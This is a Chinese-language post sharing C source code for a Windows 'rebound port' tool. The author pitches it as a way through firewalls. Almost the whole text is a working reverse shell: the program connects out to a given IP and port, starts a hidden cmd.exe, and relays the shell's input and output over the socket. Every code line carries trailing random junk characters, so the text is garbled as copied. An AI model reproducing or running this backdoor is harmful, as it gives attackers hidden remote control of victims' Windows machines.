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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 A!W" *WT  
(#B^Hyz!  
/* ============================== >mFX^t_,  
Rebound port in Windows NT x`+ l#  
By wind,2006/7 AuDR |;i  
===============================*/ >=~Fo)V!(V  
#include mKq<'t]^k  
#include dxn0HXU  
*$L z2 ]  
#pragma comment(lib,"wsock32.lib") Z-t}6c'Kg  
:-u-hO5*8  
void OutputShell(); G?-`>N-u  
SOCKET sClient; Vv]$\`d#  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; Q5y q"/=[a  
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void main(int argc,char **argv) ,V33v<|wc  
{ J7ktfyQ0W  
WSADATA stWsaData; `xX4!^0Hm  
int nRet; L)/6kt=  
SOCKADDR_IN stSaiClient,stSaiServer; 3aO;@GNJ  
$35,\ZO>  
if(argc != 3) VXkAFgO  
{ KIKq9*  
printf("Useage:\n\rRebound DestIP DestPort\n"); nEd M_JPv  
return; u*26>.  
} ]CIQq1iY  
Ep<!zO|  
WSAStartup(MAKEWORD(2,2),&stWsaData); QP$nDK<  
s`#ntset0  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 4\1wyN /}M  
b ~/Wnp5  
stSaiClient.sin_family = AF_INET; DhWWN>I  
stSaiClient.sin_port = htons(0); D(qHf9  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); P(pd0,%i;a  
]HyHz9QkL  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) G}P)vfcH  
{ MOP]\ypn  
printf("Bind Socket Failed!\n"); $v:gBlj%"  
return; }O.LPQ0  
} VR4E 2^  
: 'd76pM-  
stSaiServer.sin_family = AF_INET; emv;m/&8  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); (|<h^] y3  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); Bw 3F7W~l  
p;qRm} 0}  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) gH i~nEH  
{ m3xz=9Ve  
printf("Connect Error!"); D|TLTF"  
return; wX)efLmyhY  
} GB<R7 J  
OutputShell(); zP :~O  
} e{fZ}`=7y  
h4Xc Kv+  
void OutputShell() WYwzo V-  
{ _x\-!&[p  
char szBuff[1024]; +R "AA_A?  
SECURITY_ATTRIBUTES stSecurityAttributes; *CeQY M  
OSVERSIONINFO stOsversionInfo; ;Ze"<U  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 5jn$7iE`  
STARTUPINFO stStartupInfo; 7$+P|U  
char *szShell; 0W~.WkD  
PROCESS_INFORMATION stProcessInformation; :%/\1$3P  
unsigned long lBytesRead; W il{FcHY  
u}Ei_ O<z  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); c8#T:HM|`  
GFd Z`i  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ZR/R'prW  
stSecurityAttributes.lpSecurityDescriptor = 0; ATMc`z:5T  
stSecurityAttributes.bInheritHandle = TRUE; 6Cl+KcJH  
v]WH8GI  
9U2Px$E  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ElQJ\%  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); uQ:Qb|  
6oj4Rg+(  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); DUZQO{V  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; !Z U_,[  
stStartupInfo.wShowWindow = SW_HIDE; "?i>p z  
stStartupInfo.hStdInput = hReadPipe; 5U0ytDZ2/(  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; '"` Lv/  
[#7y[<.P  
GetVersionEx(&stOsversionInfo); 4)c+t"h  
IIq"e~"Vs  
switch(stOsversionInfo.dwPlatformId) ')C|`(hs   
{ >65 TkAp  
case 1: `0yb?Nk `:  
szShell = "command.com"; g9DG=\*A  
break; rW:iBq  
default: Ab*] dn`z  
szShell = "cmd.exe"; ]@*tfz\YaH  
break; GS}0;x  
} so} l#  
 ;e&!  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); wX-RQ[2X  
myD{sE2A  
send(sClient,szMsg,77,0); 1 h<fJzh  
while(1) 'To<T  
{ 3QCMK^#Z:  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ewo*7j4*  
if(lBytesRead) XDHLEG-u(  
{ ER{yuw  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); BwJNi6,  
send(sClient,szBuff,lBytesRead,0); PPN q:,  
}  \C|;F  
else w3<Z?lj:  
{ EtGH\?d~]  
lBytesRead=recv(sClient,szBuff,1024,0); ?Rlgv5P!  
if(lBytesRead<=0) break; Y.E?;iS  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); wOjv[@d  
} DWuRJ  
} mDZ=Due1  
lNHNL a>W  
return; yHl@_rN sC  
}
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